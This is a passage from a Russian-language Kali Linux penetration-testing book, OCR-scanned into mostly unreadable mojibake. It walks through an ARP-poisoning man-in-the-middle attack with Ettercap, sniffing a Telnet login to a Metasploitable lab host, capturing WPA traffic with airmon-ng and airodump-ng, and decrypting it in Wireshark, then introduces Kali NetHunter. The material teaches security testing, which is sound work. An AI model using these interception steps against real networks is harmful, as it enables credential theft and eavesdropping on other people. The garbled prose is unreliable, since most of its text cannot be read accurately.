€CThb JIN Y BaC BO3MOKHOCTb JIOCTYTIA K dJieMeHTaM yrpasienus ¢puabrparnueir MAC-
azpecos (puc. 11.56).
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| Wireless Card Access List

I Turn Access Cantral On

| [ Device Name [ MAC Address |

IR N ETZH

Puc. 11.56. CtpaHuua c aneMeHTamu ynpaenenus ans punbtpauun MAC-agpecos

Cioma MoxHO BBecTH HecKosibko MAC-afmpecoB, KOTOPBIMU BITOCJIEACTBIH BHI TLTa-
HUPYETE BOCIIOJIb30BAThCS.

AHanus 6ecripoBoAHOro Tpadwuka

Hawm gocTyIHbI [Ba METO/Ia TiepexBata 1 aHaiu3a («0OHIOXUBaHUsI» ) OECIIPOBOIHOTO
tpacduka. [lepBbIit METO/ TO3BOJISET HCCAENOBATH TPAPUK BO BpeMs ayTeHTU(MDUKAIINN
U TIOJIKJTIOUEHNS K TIeJIeBOIi ceTn. B aToM ciryuae ecTh BO3SMOKHOCTD NCIOTB30BATh aTa-
KY «JeJIOBEeK MOCepefinHe» COBMECTHO € TAKUM MHCTPYMEHTOM, Kak Ettercap, KoTopsrit
TepPEeHANPaBUT BeCh TPA(hUK Yepe3 HAIy TECTOBYTIO MAIUHY.

Bropoit MeTox — mccmenoBanmne Bcero 6eCIpoBOHOTO Tpabka, KOTOPBIT MBI MO-
JKEM TOJYYUTh OT KOHKPETHOH 6eCTIPOBOAHOM ceTH, 1 pacuTindpoBKa ¢ MOMOTIBIO Ta-
posst WPA nmm WEP. 9to npuroguTcst, eciim Mbl TIOTIBITAEMCST OTPAHUYUTD HATIl CJIE],
He nogkiodasgck K WLAN. ITaccuBHo nepexsarbiBast Tpaduk, 4ToObl pacuindpoBaTh
€ro T03Ke, MBI YMEHBIIIAeM BEPOSTHOCTH TOTO, YTO HAC OOHAPYKAT.

AHanu3 WLAN-Tpaduka

Kax u B TpoBOIHO¥ JTOKAJIBHOI CeTH, Y HAC €CTh BO3MOKHOCTD AHAJIM3UPOBATH CETEBOM
tpaduk B becripoBoaHoil mokaibHol cett (WLAN). B cienyiomem yipaskHeHIUH HY3KHO,
4TOOBI BBl Ay TEHTU(DUIIMPOBAIUCH B TECTUPYEMOI OECIIPOBOIHON CETH U MOJIYIUIIH OT
Mapirpytusaropa aeiicteutenbHbiii [P-anpec. Mnctpyment Ettercap mpumenser nc-
cJiefoBaHMe TAKOTO TUTIA JIJIsT TIPOBe/IeHUST aTaky «3apaskeHnss» ARP u ananmsa ygeTHbIxX
JIAHHBIX.

1. Jlna samycka Ettercap BbinosiHuTe KOMaH/y OCHOBHOTO MeHI0 Applications » Sniffing and
Spoofing » Ettercap-gui (IIpusoskenust » Ananus u nogmena » Ettercap-gui) v BBein-
Te B KOMaH/IHYIO CTPOKY TepMUHasla KoMaHy ettercap-gui. OTkpoiiTe BKIagKy Sniff
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(Ananuzarop) u nesikHuTe Ha Unified Sniffing (3anyck ananusuposanust). Ha skpane
HOSIBUTCS CIIMCOK ceTeBbIX nHTepdeiicos. Beibepure GecipoBoanoii nunrepdeiic,
B HareM caydae wlan0 (puc. 11.57).

ettercap Input

Metwork interface : "wl.anD V"

e | w—rm—

Puc. 11.57. VHTepdelic wlan0 BbiGpaH

[ITesrkHMTE KHONKOI MbITIK HA MeHIo Hosts (X0CThI) 1 HasKMUTE KHOTIKY Scan for Hosts
(CkanupoBatb xocTbl). I1o 3aBepiieHuN CKaHUPOBAHUA MIEJKHUTE KHOTTKOH MBITITN
Ha myHKTe Hosts List (Crincok xoctoB). Eciin BbI vcceryere akTHBHY0 6eCTpoBo/I-
HYIO CETb, TO B CIIUCKE OGHAPYIKHUTE HECKOIBKO XOCTOB.

[TeskaUTE KHOMKOI MBITITH Ha MiTM, a iocsie — Ha ARP Poisoning (OTpasiieanie ARP).
Ha ciieptytornieii cTpaHuiie cJieayeT BbIOPaTh [Ba XOCTa, TPAUK MEKY KOTOPBIME MbI
u uccuenayeM. Boibepure mepsbiii IP-agpec u mieJKHUTE KHOKOW MbBIIIH Ha Add to
Target 1 (JIoGaBuTh 1ieab 1). Janee Boibepure Bropoit IP-aapec u meikauTe Ha Add
to Target 2 (JloGaBuTh 11esb 2) (puc. 11.58).

B nosiBuBITIEeMcs araioroBoM OKHe ycTaHoBUTe (hiiaskok Sniff remote connections (AHa-
JINBMPOBATH yAAJ€HHOE MOAK/II0YeH e ) 1 HaskMuTe KHonky OK (puc. 11.59).

ITU AelCTBUS 3aIyCTAT aTaky As «3apaxkeHuss» ARP-tabiuibl, B KOTOPOR Mbl
CMOJKEM YBUJIETh BECh TPAPUK MEKILY IBYMS BBIOPAHHBIMU XOCTAMHU.

C nomoripio Wireshark samycrure iepexsar. Korjia Bbl yBuute nepsbiii 9kpas, yoe-
IIATECH, YTO BhIOpanu GecrpoBoaHoil unrepdeiic. B namewm cayuae wlan0 (puc. 11.60).
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ettercap 0.8.2
Start Targets Hosts View Mitm Filters Logging Plugins Info
Host List %

IP Address MAC Address | Description

10.0.0.1 44:94:FC;37:10:6E
10.0.0.2 EC:35:86:3D:E3:04

10.0.0.3 EC:35:86:30:E3:04

10.0.0.4  00:23:6C:92:6D:A3

l Delete Host “ Add to Target 1 ”| Add to Target 2 ”

Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
5 hosts added to the hosts list...

Host 10.0.0.3 added to TARGET1

Host 10.0.0.7 added to TARGET2

Puc. 11.58. Bbibop LieneBbix XOCTOB

MITM Attack: ARP Poisoning @

9 Optional p ters
: B'|Sr|ﬂ7 remote conne:ﬁnns.|

O Only poison one-way.

[Lcmnest ) [ox_J

Puc. 11.59. [Inanor HacTpoek MiTM-aTaku
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The Wireshark Network Analyzer 00
File FEdit View Gn Capture Analye Statistice Telephony Wireless Tonls Help

AE @ ERARE Aes>EFIEEF]QaqE

[WT2pply a display filter ... <Ctr->

EJ ] Eexpression... | +

Welcome Lo Wireshark

Capture

...using this filtter: [Cnter a capture filter ... -]

etho
wlanOmen

Ll

any

Loopback: lo __a/
bluetwolho
nflog
nfyueus
usbmonl
usbmun2

Puc. 11.60. 3axsaT Tpaduka c nomouybto Wireshark

[Tpu uzyuernn nHGOPMAIIH MBI YBUIUM, YTO 3aXBATHIBAETCST HECKOJIBKO TUIIOB TPa-
(ura. Haubosiee MHTEPECHBIM SIBJISIETCST ceaHC Telnet, KOTOPBIIT ObLIT OTKPBIT MEK/LY
nBymsi xoctamu (puc. 11.61).

*wlan0 200

Flla Edit wview Go Capture Analze Statistics Telephony Wireless Tools Help

AEA@mMERB Qe EFIEFTFaaQE

(W] Apply a display filter ... <Ctrl-/> =3 -] Fxpressian.. | +
Na. Tim|Source Destination Protocol Lengthinfo |;
7 3. Apple 92:60:23 Tp-L1NKT 1d:04:42 ARP 42 10.0.0.7 15 at 60:23:6c:92:60:23

66 58056 - 23 [ACK] Seq=l Ack=l Win=14720 Len=@ TSval-429499 TSecr=3
83 Telnet bata .

GG 50050 ~ 23 [ACK] Seq=1 Ack=1 Win=14720 Len=0 TSval=429435 TSecr=3

66 23 —+ 58850 [ACK] Seq=l Ack=28 Win=5792 Len=0 TSval=318696 TSecr=42

d 42 who has 10.0.0.17 Te 0.0,
Apple 3d:e3:04 ARP 42 10.0.0.7 15 at T4:72:6d:10:04:42

Apple_92:ed:ad ARF 4210.0.0.3 18 at T4:f2:sd:1d:04:42 (duplicate use of 19.9.0./ datec
10.8.8.7 78 Telnel pala ...

B
17 1.

P 10.0.9.3 EE 5BB58 - 23 |ACK| Scg=2B Ack=13 Win=14728 Len=0 TSval=432158 TScor==
T T e e B L B PRI el ™

4 |
b Frame 1: 42 byles on wire (336 bils), 42 byles caplured (336 bils) on inlerlace 8

v Ethernet II, Src: Tp-linkT_1d:@4:42 (f4:f2:6d:1d;04:42), Dst: Apple_3d:e3:04 (ec:35:86:3d:e3:04)
b Agdress Resolution Protocol (reply)

AAAA ec 35 BR 3d e3 04 f4 F? Ad 1d 04 47 DA BA a0 o1
0010 ©O 00 06 04 00 02 f4 f2 6d 1d 04 42 Da 00 00 OF
0820 eoc 35 86 3d o3 04 02 0@ 00 03

o= wireshark_pcapng_wlan0_20160625171042_d19Wis Packets: 141 - Displayed: 141 (100.0%) . Profile: Default

Puc. 11.61. Tpaduk ceaHca Telnet, OTKpbITbIN MeXAY ABYMSI XOCTaMu

Ecin Mbl 1iekHeM mpaBoii KHOTKON MbIIM Ha cearce Telnet 11 BBIGEpeM B KOHTEKCT-
HOoM MeHI0 KomaHy Follow TCP Stream (Orcaeauts TCP-110TOK), TO CMOKEM YBUETH
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yUeTHBIE JaHHbIe JIIst 9k3eMIsipa Metasploitable Bmecte ¢ yuernbivu ganabsivu Telnet
(puc. 11.62).

Wireshark - Follow TCP Stream (tcp.stream eq 0) - wireshark_pcapng_wlan0_201606251..@ @ @

O P I - 0o Couion T 00006000H00 00000 0060010000 6400060600 T ET
3R4A0,3848A. .. . #.kali:Aa.0...."'. .DTSPIAY kali:a.Aa..... . .xfterm. . ... .. ... .. il
e G B W S ST ) e ) e | i) | i
| J et i W o e i A | e | | A | | e [ | L S |
1 1 1
e e

warning: Mever expose this wM to an untrusted network!
Ccontact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

metasploitable login: mmssffaaddmmiinn
I;ags\.mrd: msfadmin

Last login: Sat Jun 25 12:15:06 EDT 2018 on pts/1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 1686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual Tiles in fusr/sharesdocs/*/copyrighl,

Ubuntu comes with ABSOLUTELY NO WARRANTY, fto the extent permitted by
applicable law.

10 access officlal ubuntu documentation, please visit:
http://help.ubuntu.com/

No mail.

mzfadmin@ne tasploitable: -5

20 client pkt(s), 17 server pkt(s). 27 turn(s).

|Entire conversation (1350 bytes) VJ Show data as |ASCII - Stream | 0 :I

Find: | | [ Find Next |

[I lide this streaml [ Print ] [ Save as... ] | Close I [ llelp I

Puc. 11.62. YyeTHble faHHble Ans Metasploitable

MaccuBHbLIM aHaNun3

ITpu macCBHOM aHAJIU3€ Mbl He ayTEHTU(MUITUPYEMCSI B CETH. DTOT CIIoco0 TOAXO/INT,
€CJTU MBI TTOJTO3PEBAEM, YTO B MCCJIEYEMOU CeTH MMEIOTCS TaKue CPeficTBa IIPeioTBPa-
IIEHWsI BTOPJKEHNH, Kak (DYHKIMST OOHAPY/KEHS TTOIE/IbHBIX X0CTOB. IlaccuBHOE ¥C-
CJIeI0OBAHME CETH — XOPOIIUH c110c06 n3besKaTh IIPUMEHEHUS TAKUX CPEACTB KOHTPOJIS,
noJtydast KOH(DUAEHITNATHHYI0 HH(MOPMAITHIO.

1. 3amycTuTe macCUBHOE CKaHUpPOBaHue OecrpoBOLHOrO TpaduKa B LEIeBOM CETH.
Y6enurech, uTo GeCPOBOHAS KAPTa HAXOAUTCA B PEsKMME MOHUTOPUHTA:

# airmon-ng start wlane
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2. Wcnouabsyiite 11 aHam3a ceTeBoro Tpadruka HHCTPYMEHT airodump-ng Tak, Kak
MBI JieJ1aiu 9T0 B nyHKTe «B3iom WPA» nozppasaena «Aircrack-ng» paszgena «VH-
CTPYMEHTBI TECTUPOBAHMST GECTIPOBOIHOI CeTH»:

# airodump-ng wlan@mon -c 6 --bssid 44:94:FC:37:10:6E - w  Wi-Ficrack

3. 3amyckaiiTe MFHCTPYMEHT CTOJIBKO Pas, CKOJIbKO 1oTpedyercsa. UToObl yOeauThes, 4To
MbI MOKeM pacinudpoBarh TpapuK, HaM HYKHO ObITb YBEPEHHBIMU: €CJIU 9TO CETh
WPA, To Mbl 3aXBaTUM YETHIPEXCTOPOHHEE PyKOTIOXKaTHE. Kak TOIbKO 3aXBaTHIN
JIOCTATOYHO TpahuKa, OCTAHOBUTE MPOIIECC, HAJKAB coueTaHue Kiapwuii Ctri+C.

4. IlepefiuTe K mamKe, B KOTOPOHM HaXOMUTCS 3aMMMCAHHBIN (hailsr mepexBaTa, M IBaK/IbI

MeJKHNUTE Ha HeM KHOTKoW Mbrmn. OTKpoeTcs daiis ¢ 3axBaueHHBIM TpahuKOM
B Wireshark (puc. 11.63).

Eile Edit View Co Capture Analyze Statistics Telephony Tools [nternals Help
PedMiAdEREXe a+»=TFLEE QRN EFBE% B
Flll,el:| ;I&prlssbun,.. Clear Apply Save

Destination

Oroadcast 002.11

=

3973, TH=0,

1 o frame

2 0.102961 Cisco-Li_| L] Broadcast 802.11 168 Beacon frame, SH=3974, FN=8, Flags: .C. BI=188, SSID=Coh
3 B. 103046 Cisco-Li_B2:b2:55 spanning-trae- (for-bridges!Boz. 11 118 Data, SN=3075, FN=8, Flags=.p....F |
4 0. 204955 Cisco-Li_B2:b2:55 Broadcast 802,11 168 Beacon frame, SM=3976, FN=8, BI=100, SSID=Cob|
5 0.307929 Cisco-Li_B2:b2:5% Broadcast B02.11 168 Beacon frame, SN=3977, FN=9, . S5ID=Coh|
6 0. 409911 Cisco-Li_B2:b2:55 Broadcast 802.11 168 Baacon frame, SHe3978, FN=@, . S5ID=Coh|
7 8.512000 Cisco-Li_B2:02:55 Droadcast 802.11 160 Deacon frame, SH=3970, FN=9, SSID=Cob
8 0.614871 Cisco-Li 82:b2:55 Broadcast 802.11 168 Beacon frame, SH=3980, FN=0, . SSID=Coh|
9 0. 718533 Cisco-Li_B2:b2:5% Broadcast BO2.11 168 Beacon frame, SN=$981, FN=8, . S51D=Coh
18 B.B19847 Cisco-Li_B2:b2:55 Broadcast BO2.11 168 Boacon frame, SWe3U82, FNe@, S5ID=Cob
11 0.521825 Cisco-Li 82:b2:55 Droadcast 802.11 168 Deacon frame, SH=3983, FN=0, + SSID=Cob)
12 1024783 Cisco-Li_B2:b2:55 Broadcast 802.11 168 Beacon frame, SH=3984, FN=9, . §51D=Coh
12 1.126802 Cisco-Li_B2:b2:55 Broadcast 802.11 168 Boacon frame, SWe3985, FNed, . SSID=Cob
14 1.229716 : Broadcast 802.11 168 Beacon frame, SH=3986, FN=O, SSID=Cob
1% 1.331694 Broadeast BO2.11 168 Beacon frame, SH=1987, FN=8, . SSID=Coh
16 1.433748 _ : Broadcast 802.11 168 Beacon frame, SW=3988, FN=@, . S5ID=Coh
17 1.536739 Cisco-Li B2:b2:55 Broadeast #02.11 168 Beacon frame, SH=30@U, FN-9, BI=180, S5ID=Cok
18 1. 608711 Cisco-Li _82:b2:55 (RA) 802.11 38 Acknowledgement, Flags=........C

15 1839634 Cisco-Li B2:b2:55 Breadcast 802.11 168 Beacon frame, SH=3991, FN=9, . BI=180, S5ID=Coh|

Puc. 11.63. daiin ¢ 3axBayeHHbIM TpacbukoM oTKpbIT B Wireshark

3axBar 3amugpoBaH, U BUIHBI JTUIIh HECKOJIbKO TTakeToB 802.11.

5. Orkpoiite Menio Edit (PegaktupoBanue) u epeiianrte k HacTpoiikam. OTKpoeTcs
HOBast BKJa/iKa. [T{eTKHUTe KHOMTKOI MBIIITN HA TPEYTOJIbHUKE PSIZIOM C TPOTOKOJIAMH,
a 3aTeM — Ha mpoTokose 802.11. Ha axpaHe 0/KHO TTOSABUTHCS CJleyrolee OKHO
(puc. 11.64).

Reassemble fragmented 802.11 datagrams:
Ignore vendor-specific HT elements:
Call subdissector for retransmitted 802.11 frames:

0O @8 0 &

Assume packets have FCS:
Ignore the Protection bit:  ® No O Yes - without IV © Yes - with IV
Enable decryption: 0O

Key examples: 01:02:03:04:05 (40/64-bit WEP),
010203040506070809101111213 (104/128-bit WEP),

MyPassword[:MyAP] (WPA + plaintext password [+ 55ID]),
0102030405...6061626364 (WPA + 256-bit key). Invalid keys will be ignored.

Decryption Keys: T Edit...

Puc. 11.64. MNpotokon 802.11 BbibpaH
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6. Haxmure xnonky Edit (Pegaktuposats). Ha akpane mosiBuTcs auajor Ajst BBoja
WEP- unu WPA-kmoueit st nemudposku. Haskmure kaonky New (Cosznath).
B mnoste BBos1a Key Type (Tum kimoua) BBeute Katodw WPA, a 3atem naposb u SSID.
B stoMm ciyuae kimodom Gyzer crienyiotiee: Induction:Coherer. Hakmute KHOMKY
Apply (ITpumennTs) 1 kHonky OK (puc. 11.65).

|X| WEP and WPA Decryption Keys - Profile: Default
Key type |Key
4 Up
& Down [X| WEP and WPA Decr...
Key type: wpa-pwd v |
Key: |Induction:Coherer
_BiNew | cancel | Fok |
Edit...
& Copy
@ Delete
& Refresh
g Clear
</ Apply | & cancel | <Jok |
4

Puc. 11.65. Kntou BBegeH

7. YT00bI IPUMEHKUTD 9TOT KJIOY AelindPOBKH [JIs 3aXBaTa, OTKpoiTe MeHio View (Bu)
1 BbIOEpHTE HAXOMSIIYIOCS BHI3Y KoMaHLy Wireless Toolbar (ITaHesib HHCTPYMEHTOB
11st OectipoBoAHOIT cetn). JloGaBbTe MaHe b MHCTPYMEHTOB /it GECIIPOBOHOM CETH.
Ha axpane BbI yBupute ciemnytotee (puc. 11.66).

FiIter:I lexpressiun... Clear Apply Save

802.11 Channel: |' IChanneI Offset: |v |FCS Filter: All Frames |' | None |v |W|reless Settings... Decryption Keys...

No. |Time |Souroe |Destinaliun |Prm0cul| Lenglhllnfo

Puc. 11.66. MNaHenb MHCTPYMEHTOB 6ECNPOBOAHON CETU BbibpaHa

8. Ha HoBoIi manesan UHCTPYMEHTOB IIeJKHUTE Ha MyHKTe Decryption Keys (Kuoun
nemudposkn). Ha sxpare osSBUTCS 0OHOMMEHHOE OKHO. BpiGepuTe B MeHIO, pac-
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IOJIOJKEHHOM B JIEBOM BEpXHEM YTJTy, KoMaHy Wireshark 7711 peskiMa e poBKH.
Yoéenurech, uTo yKazaH cOOTBETCTBYIONMIT Kou. Haxmure krorku Apply (ITpume-
HuTh) 1 OK (puc. 11.67).

‘Decryption Keys

W’irﬁ:sHv |Se|ect Decryption Mode

Type Key SSID [ INew
WPA-PWD Induction Coherer

q{/’AppIyl xgancell ‘oK |

Puc. 11.67. OkHo Decryption Keys (Kntouun gewmdposkm)

Wireshark npumenster ko genmudpoBkr K hailiry ¢ 3aXBaueHHBIMU JAHHBIMU 1 TaM,
TJle CyIIecTByeT Takas BO3MOXKHOCTD, pacinudpoBbiBaeT Tpaduk (puc. 11.68).

Filter: |tcp,srreum eql LIExpressIon.,, Clear Apply Save
P v
802.11 Channel: |+ |C'nanne| Offset: |= |ch Filter: All Fr, (3] Follow TGP Stream [tcp.straam 6 0)
No. | Time ISoume Im;n Stream Content
437 13. 305707 197, 168,08, 50 B6,230,4 | BET fwiki/Landshark HTTP/1.1 &

Host: en.wikipedia.org
CELTERE L Cobed b B 192.1881 | |\ or-agent: Mozillass.o (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.6.8)
437 13 . 66.230.1 | Gacko/20061206 Firefox/1.5.8.9

E ;. EEREEDNN | Accept: text/wsl, application/xml, application/xhtslexml, text/html;q=0.9, text/

4 . . . 192, 168/ | plain; q=8.8, image/png, */*; q=0. 5
444 13.511645 66.230. 200, 100 192. 168/ [ Accept-Language: en-us,en;q=6.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISD-B859-1,utf-8;9=0.7,%q=0.7
Kaop-Alive: 300
Conmection: keep-alive
Referer: hitp://wew.google. comfsearch?q=422landsshark22
451 13. 517648 192, 166. 8. 50 66,230, 4 | reandygraméstar t=0bie=utf-Bboe=utf-Bclient=Firefox-abrls=org. mzilla: en-Us: of faicial
453 13.612662 56. 230. 200, 180 1921681 | Lirrps g 20m 0%
Date: Thu, B4 Jan 2007 04:28:15 GMT

455 13.617636 6. 230. 200, 180 192, 168/ | Server: Apache

X-Powered-By: PHP/5.1.2

447 13. 516649 66.230. 200, 180 192, 168

Cantent- Language: en

Vary: Accept-Enceding, Cookis
e mem M | [;jche-Control: private, s-maxage=d, max-age=0, sust-revalidate
Last-Modified: Thu, 28 Dec 2006 13:27:37 GMT

Content-Encoding: g ip

Content-Type: text/himl; charset=utf g

0 L — v
_——| Entire conversation (6537 bytes} |v|
b Frame 439: 699 bytes on wire (5502 bits), 639 bytes capt

b Radiotap Header v8, Length 24
b IEEE 862.11 Data, Flags: .p.....TC

“\Find | Esave As | Gprint [0 ASCH O EBCDIC © Hex Dump O CArrays ® Raw

(G060 00 G0 16 60 Be 58 00 60 10 62 6 09 <6 60 64 B0 .| 1 - I
0010 00 37 0D 00 b ¢7 97 50 08 41 2¢ 00 0 oc 41 82 .| _uHelP | EFilter Out This Stleaml HClose

Goz0 b2 55 60 6d 53 B2 36 Ja 00 6c 41 B2 b2 53 50 05 . £
0036 3b 60 60 20 60 HO PO PO 87 27 €0 1) 16 GE E5 39 .o T ew

Puc. 11.68. MNpouecc pacumdpoBKkM 3aXBaYEHHOIO Tpaduka

Kak noxasano na puc. 11.68, moxno pacmudposarh Tpaduk, 3aXBayeHHbIH Oe3
MOAKIIOUEHUST K CeTH. BasKHO MMOBTOPHUTD, YTO ATOT METO/ TPEOYET TIOJTHOTO YeThIPEX-
CTOPOHHETO PYKOIOKATHUS JIJISI KAK/IOTO CEaHca.
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Pe3tome

[IpakTIyecKu BO BCeX OPraHU3aliaX ecTh GecpoBogHble ceTr. Kak 1 B II00BIX APYIUX
cucTeMax, KOTOpPbIe Mbl UCCAEA0BANN, YA3BUMOCTH CYIIECTBYIOT 1 B GECIIPOBOLHBIX
ceTsiX. ITH YI3BUMOCTHU 3aK/II0YAIOTCs B c1tocobe mudpoBanus TpaduKa Uik B METO-
JIaX MTPOBEPKH TOJTTMHHOCTH, ¥ UX MOKHO HUCIOJIb30BaTh C MTOMOIIBIO HHCTPYMEHTOB,
nocrasiasgembix Kali Linux. /leMOHCTpalus 9THX YSI3BUMOCTEN U CBSBAHHBIX ¢ HUMU
AKCILJIONTOB TTOKA3bIBAET CIIEIUATICTAM, SKCILTYAaTHPYIONIM JIAHHBIE CETU, KAKHE MEPHI
HeoOXOIMMO TIPEAIPUHSITD, YTOOBI 3aIIUTUTh ce0s 0T aTak. [I0CKOJIbKY B MUPE CTAHOBUT-
¢ Bee 6oaiblne GeCIPOBOAHBIX CETEM, K KOTOPHIM MOAKIIOUYEHbI CMaPT(OHbL, HOYTOYKU
1 ObITOBAsI TEXHUKA, BaXKHO, YTOOBI OECIIPOBOAHBIE CETH M UX 2JIEMEHTBI YIIPABICHI
MOCTOSTHHO TIPOBEPSIINCH Ha 6E€30TacHOCTb.

B caenyiomieii riase Mbl 00cyquM OeCIIpOBOAHbBIE CETH KaK 4acTh GoJiee IMUPOKOM
METOIOIOTMH TECTUPOBAHK Ha MPOHUKHOBeHIe. Mbl uctonbsyeM auctpubyTtus Kali
Linux Nethunter ¢ mardopMoii 1151 IeHTeCTUPOBAHUS MOOMIBHBIX YCTPOUCTB.



MobunbHoe TecTupoBaHme
Ha NMPOHUKHOBEHME
c Kali NetHunter

Kali NetHunter — aro o6serdennbiii Bapuant Kali Linux a1 cMapTdOHOB, KOTODBIM
yCTaHaBJIMBaeTcs mosepx oopruHoi nmpoumsky. Kali NetHunter cosnan s paboTsl Ha
MoOuIIbHOI 11aTdopme Android.

Kali NetHunter BriiodaeT MHOTO HHCTPYMEHTOB, KOTOPBIE MBI 0OCY/KIATH PaHEe.
Kpowme nux, B NetHunter BbI Haiiziere 1 10MTOJHUTETbHBIE MHCTPYMEHTBI, TO3BOJISTIONINE
UCIIBITATEIIIM Ha TIPOHUKHOBEHMUE CTaTh GoJiee MOGHIBHBIMU. B T0I Ti1aBe MbI 06¢yimm
ycranoBky Kali NetHunter u pas6epem, Kak BBECTU B €iiCTBUE OCHOBHbIE HHCTPYMEHTBL.
[Tocsie HTOr0 PacCMOTPUM YCJIOBUSL, IPH KOTOPBIX miatdopma NetHunter 6ymer nmern
3HAYUTENBHOE MIPEUMYITECTBO TIepelt GoJIee TPAJAUITHOHHBIMHU CPEICTBAMHI TECTUPOBAHNS,
npepocrasiasgembiMu Kali Linux.

B 370ii ri1aBe Mbl 00CYIUM CJIEYIOIINAE TEMBI.

0O630p Kali Linux NetHunter.
Pazsepreizanmne NetHunter.

O6mmuii 0630p ycraHosku NetHunter.
MHCTPYMEHTBI U METOJIBL.

BeCHpOBOlIHbIe aTaKH.

000D OD0OO

ATaku Ha yCTPOICTBA € YeTOBEKO-MAITUHHBIM WHTEP(hENCOM.

TexHun4yeckne TpeboBaHUs

B sroii Tmase st 3amycka NetHunter mcmoms3oBasich yerpotictsa OnePlus One  Nexus 4.
[TostHBIH CTTMCOK COBMECTUMBIX YCTPOMCTB JIOCTYIIEH TI0 afipecy https://github.com/offensive-
security/kali-nethunter/wiki.

Kali NetHunter

NetHunter — mepsast MoOUJIbHASA OTIEPAIIMOHHASA CUCTEMA JIJIsT TECTUPOBAHKS HA MPO-
HUKHOBEHKE C OTKPBITBIM UCXOAHBIM KOJOM; IIocTpoeHa Ha 1iatdopme Android. 1o co-
BMecTHas paspaborka kommanuu Offensive Security u Bunku Beap (Binky Bear) —
npeacraBuTess coobmecrna Kamm.
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Cucrema NetHunter MoskeT ObITh yCTaHOBJIEHA Ha CJIeAyroliuX yerpoiicteax: Google
Nexus sepcuii 5-7, 9, 10 u OnePlus One. Komnanus Offensive Security npegocrasiiser
psin uzo6paxennii NetHunter Ha ocHOBe yCTpOIiCTBa U B HEKOTOPBIX CIyYasix TO/la U3-
FOTOBJIEHUSI.

Pa3sBepTbiBaHMe

Bararogapst ceonm pasmepam NetHunter MoskeT GbITh Pa3BEPHYT B TPEX HAIIPABJICHUSIX.
Kaxxzblil 13 cOOTBETCTBYIOUIUX UHCTPYMEHTOB HUcnob3yeT 1nardopmy NetHunter,
a Takke JIOTIOJTHUTETbHOE 060pPYI0BaHITEe, KOTOPOE MOXKHO JieTKo mpruobpectu. Hasmrame
HECKOJIPKIX BapUAHTOB Pa3BePTLIBAHUS IO3BOJIAET UCIBITATE/AM Ha IIPOHUKHOBEHTIE
TECTHPOBATD IUPOKHIT CIIEKTP Mep GE30TaCHOCTH B PA3IMIHBIX CPE/Iax.

Pa3sBepTbiBaHME CETH

[TouTn Bce MPEABIAYIINE TIaBbl OBIIN TOCBSAIIEHBI WHCTPYMEHTAM ¥ METOJIaM, MC-
[10JIb3YEMbIM UCIBITATEIAMU HA IPOHUKHOBEHUE /I TECTUPOBAHUS YAAJIECHHDIX WJIN
JIOKAJIBHBIX CETEil. ITUM MHCTPYMEHTaM TpebyeTcst (PU3NUecKoe MOAKIIOUEHUE K CETSAM.
Takast BO3MOKHOCTB ecTh 1 y NetHunter, uto obecriednBaercs COBMECTHOI paboToit
USB-azanrepos Android u Ethernet. MciibitaTesib Ha IPOHUKHOBEHIE MOKET ITO/KJIIO-
4aThCs HETIOCPEACTBEHHO K CETEBOMY Pa3beMy WJIM KOMMYTATOPY, €CJId UMEET JIOCTYTI
K ceTeBoMY 000PYI0BAHUIO.

Takasg MeTo/MKa pa3BepThIBAHUS XOPOIIA JJIs TeX UCHBITaTeseld, KOTOPbIe XOTAT
CKPBITO HOJTYYHUTh JOCTYIT G€3 HEMOCPEACTBEHHOTO TTOAKI0UeHUs HOYyTOYKa. cnoibayst
cMmapTdon Nexus win HeOOJBINON TTAHIIET, UCIIBITATENh Ha TPOHUKHOBEHIE MOKET
MOJIKJIIOYUTBCSA K (DU3UUYECKOIl CeTH, CKOMIIPOMETHPOBATD JIOKAJIBHYIO CUCTEMY, Ha-
CTPOUTDH BO3MOKHOCTD TIOZ/IEP5KAHUS TIOCTOSTHHOTO TTO/IKITIOUEHUS U JIBUTATHCS JIATTbIIIE.
Taxum ke crroco60M MOKHO TIPOBOUTH TECTUPOBAHUE HE30MACHOCTH OOIIETOCTYITHBIX
CETEeBbIX PAa3bEMOB.

Pa3BepTbiBaHWe 6€CnpoBOAHON CEeTU

NetHunter coctonT u3 MHOKeCTBa HeOOIBITNX MakeToB. HeKOTOPbIe TECTHI HA TIPO-
HUKHOBEHUE PacCUUTAHLl Ha TO, YTO MCCJeL0BaTe/b llepeMelllaeTcs 110 TePPUTOpUn
CTYIEHYECKOTO TOPOJIKA WU 3MAHUI0, MAEHTU(DUIINPYET 1 3aXBATHIBAET OECTIPOBOHO
TpaduK I MOCTIeAYIONIEro B3jloMa. JTa 3a/laua 3HAYMTE/IbHO YIIPOIIAETCS, €CIIU UCCIe-
J10BaTe/Ib BOCIOJIb3YeTCs I1aT(OPMOii /11l TeCTUPOBAHUS, pa3BePHYTON Ha IJIaHILIeTe
wm cMapTdoHe, a He Ha HOYTOYKE.

Takum o6paszom, st pazseprbiBanus NetHunter TpebyeTcst HCTIOIb30BaHE BHEITHEH
anTennsl v afantepa USB st Android. TTociie moaxsiioueHust aTu armapaTHble CPeICTBa
[O3BOJIAIOT B IIOJIHOM Mepe UCIIOJIb30BaTh GecrpoBoanble nHcrpymenthl NetHunter.
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Pa3BepTbiBaHMe y3na

Opuum us npeumytiects miatdopmbl NetHunter, o cpasrennto ¢ miatdopmoit Kali
Linux, asigerca serpoentas nojjep:xka USB u3 Android, koTopast 1omosxer ucibl-
TaTeJIo Ha IPOHUKHOBEHUE HAPAMYIO 1ozkodats miatdopmy NetHunter k Takum
y3J1aM, KaK, HarpuMep, HoyTOYK WJIM HACTOJNBHBINA KOMIIbIOTep. B aTom cirydae tectep
Ha [IPOHUKHOBEHUE CMOKET BOCIIOJIb30BAThCA MHCTPYMEHTAMU, KOTOPbIE MO3BOJISAIOT
OCYIIECTBJIATH aTaKy Ha yCTPOMCTBA B3aUMOJIEHCTBUSA Ye0BeKa ¢ KOMITBIOTEPOM MJIN
cMapTGOHOM, 1 3a/1eiiCTBOBATH MHCTPYMEHTbI, UMUTHPYIOILUE YCMPOLUCMEO 83AUMOOCT -
cmeus weaosexa u mawunvt (Human Interface Devices, HIDs). Ilpumepst HIDs — xJia-
